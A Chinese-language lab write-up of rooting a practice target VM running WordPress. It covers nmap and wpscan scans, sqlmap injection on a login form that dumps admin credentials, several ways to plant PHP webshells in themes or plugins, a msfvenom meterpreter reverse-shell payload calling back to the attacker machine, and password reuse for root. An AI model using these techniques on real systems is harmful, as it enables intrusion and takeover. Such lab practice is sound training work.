前言
最近过年有点无聊,玩个靶机找找感觉
环境搭建
- 靶机 172.20.10.3
- 攻击机kali 172.20.10.8
- 攻击机Win10 172.20.10.6
Play
信息收集
祭出nmap神器扫描下
1 | root@kali:~# nmap -sS -p- -A -v -T4 172.20.10.3 |
就开了三个Web口,依次访问下。
http://172.20.10.3/
扫目录
1 | python3 dirsearch.py -u "http://172.20.10.3/" -e php |
发现一个login.php
和phpmyadmin
http://172.20.10.3:8080/wordpress/
然后对8080口进行目录扫描了下,但是并没发现什么敏感文件。
https://172.20.10.3/
与8080口运行的是同一套程序,也没有发现些什么敏感文件
漏洞挖掘
8080和443口都跑着是WP的程序,功能点也不是很多,wpscan
扫下
wpscan --url "http://172.20.10.3:8080/wordpress/" -e
都是一些XSS或者敏感信息泄露的洞,并没有利用的点。回到80下的login.php,是一个form表单,手工测了下,大概率存在Sqli
抓包保存txt,扔Sqlmap中跑去,默认情况的level和risk并没有跑出漏洞,于是乎指定等级为3,确认了注入,并且拿到7个库名
1 | sqlmap -u http://172.20.10.3/login.php --forms --level=3 --risk=3 --batch |
爆表拿到users
,爆列名拿到username,password
,最后拿到账号密码admin:SuperSecretPassword
,成功登录wordpress后台
GetShell
WP后台拿shell的方法,大概有这么几种:
- 直接上传PHP文件
- 安装插件时,上传一句话的Zip包
- 编辑主题插入一句话
- 编辑已安装的插件插入一句话木马
- 主题夹带一句话木马
- 插件夹带一句话木马
但是在这版本的情况下,前俩种已失效,这里正好试下其他的方法
编辑主题
在外观>编辑>404模板
中,直接插入一句话,然后访问一个不存在的文件即可
或者编辑主题中其他文件,向其中插入一句话木马,然后访问/wp-content/themes/[主题名]/[修改文件的文件名]
即可
编辑插件
编辑已安装的插件中的文件,插入一句话,然后访问/wp-content/plugins/[插件名]/[修改文件的文件名]
即可
主题夹带一句话
下载一个免费的主题,然后把一句话木马夹在zip中,然后上传主题,最后访问/wp-content/themes/[主题名]/[一句话木马文件名]
即可
插件夹带一句话
类似上传主题,将一句话木马夹在正规的插件zip包中上传,访问/wp-content/plugins/[插件名]/[一句话木马名]
即可
回到靶机,连上菜刀,查看id和passwd,虽然不是root组,但是仍有权限读取passwd文件,并且拿到了Secret文件:NOBODY EVER GOES IN, AND NOBODY EVER COMES OUT!
提权
利用MSF生成php后门,然后利用菜刀上传至web目录
msfvenom -p php/meterpreter/reverse_tcp lhost=172.20.10.8 lport=9999 -f raw -o poc.php
设置监听
1 | msf5 > use exploit/multi/handler |
然后shell下python -c 'import pty;pty.spawn("/bin/bash")'
,然后su root
尝试wp密码成功拿下Root权限。
总结
回顾一下,就是开了三个web口,其中8080跑着wp的程序,80下有个自定义的login页面存在注入,然后通过注入拿到wp的后台登录密码,后台Getshell。虽然这个靶机思路比较常规,但是学习了下WP后台下多种拿shell的方法,也算是比较有收获吧….